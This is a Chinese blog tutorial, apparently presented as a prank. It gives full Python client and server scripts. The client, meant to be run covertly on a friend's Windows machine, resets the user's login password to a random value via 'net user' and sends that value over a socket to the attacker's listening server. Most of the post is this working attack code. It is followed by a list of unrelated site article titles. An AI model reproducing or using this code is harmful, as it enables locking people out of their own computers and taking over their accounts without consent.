今天教大家用python脚本来控制小伙伴们windows电脑的开机密码。没错就是神不知鬼不觉,用random()随机生成的密码,只有你自己知道哦~

代码呢分两部分,一部分是client端跟server端两个。你只需要想办法让小伙伴运行你的client端脚本就OK啦。不过在此之前你一定要在你的电脑上运行server端哦~这样子的话,client端会在你的小伙伴电脑上随机生成一个密码然后通过socket发给server端也就是发给你哦~

下面放代码,顺便加点注释。

client端代码:

 # client.py: //文件名
import socket //导入用到的模块
import getpass
import subprocess
import random client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //创建socket实例
client.connect(('10.0.0.1', 44444)) //连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser() //获取计算机用户名
psd = '' //给一个psd变量(密码)为空
for j in range(1, 9): //生成1-9的随机数
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd]) //在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8')) //将密码发送给server端
back_msg = client.recv(1024)
client.close() //关闭socket
print psd //避免出现差错忘记密码 先在本地打印

server端代码:

 # server.py //文件名
import socket //导入socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //创建socket
server.bind(('10.0.0.1', 44444)) //绑定IP/端口
server.listen(5) //监听
print('starting....')
conn, addr = server.accept() //连接
print(conn)
print('client addr', addr)
print('ready to recv the passwd...')
client_msg = conn.recv(1024)
print('client passwd changed: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
server.close()

OK代码写完后我们开始运行一下程序(推荐在虚拟机下运行,万一出个差错搞不好真忘记密码!切记切记)~

首先先在我的Linux上运行server端,来等待接收来自client端传过来的密码。

运行server.py脚本

然后windows运行client端,它会显示生成的密码

(前提是在cmd命令行下运行否则你双击一下会消失)

cmd下运行

现在再注销或者是重启输入原始密码就会发现密码错误,怎么密码呢也已经发到我们的server端

如果你现在想改回密码的话,千万不要关机 打开cmd输入“net user 你的用户名 你要改变的密码” 然后回车就ok了

最新文章

  1. CSS3 Animation制作飘动的浮云和星星效果
  2. 数据结构作业——order(二叉树遍历)
  3. CSS 控制Html页面高度导致抖动问题的原因
  4. MVC4中下拉菜单和单选框的简单设计方法
  5. 关于数据导出到Excel科学计数法的处理
  6. HDU2527:Safe Or Unsafe(哈弗曼树)
  7. UE4使用第三方库读写xml文件
  8. C# 创建Word项目标号列表、多级编号列表
  9. 解决 golang unrecognized import path "golang.org/x" 之类错误的一种尝试
  10. git命令行解决冲突文件步骤
  11. cdn模式下vue的基本用法
  12. python cookbook 笔记二
  13. 【Darwin学习笔记】之获取系统处理器数量的方法
  14. leetcode121—Best Time to Buy and Sell Stock
  15. Maven部署dao工程到私服上——(十三)
  16. MVC中使用Web API和EntityFramework
  17. SAP NUMBER RANGE维护配置object FBN1 Deletion only possible if status is initial
  18. BUAA_OO第一单元总结性博客作业——表达式求导
  19. Syncovery : Google Docs protocol completely replaced with Google Drive
  20. CentOS配置SSH远程连接

热门文章

  1. eclipse debug启动时tomcat报错
  2. C++-POJ3349-Snowflake Snow Snowflakes[STL][set][hash未写]
  3. L2-3 名人堂与代金券
  4. python SMTP发邮件
  5. 搭建Springboot监控中心报错A attempt was made to call the method reactor.retry.Retry.retryMax(I)Lreactor/ret)
  6. hdu 1281 棋盘游戏(二分图)
  7. JS高级---新内容课程介绍
  8. python+tkinter+动画图片+爬虫(查询天气)的GUI图形界面设计
  9. Caffe 笔记 (一)caffe的层与数据结构
  10. Springboot的多环境配置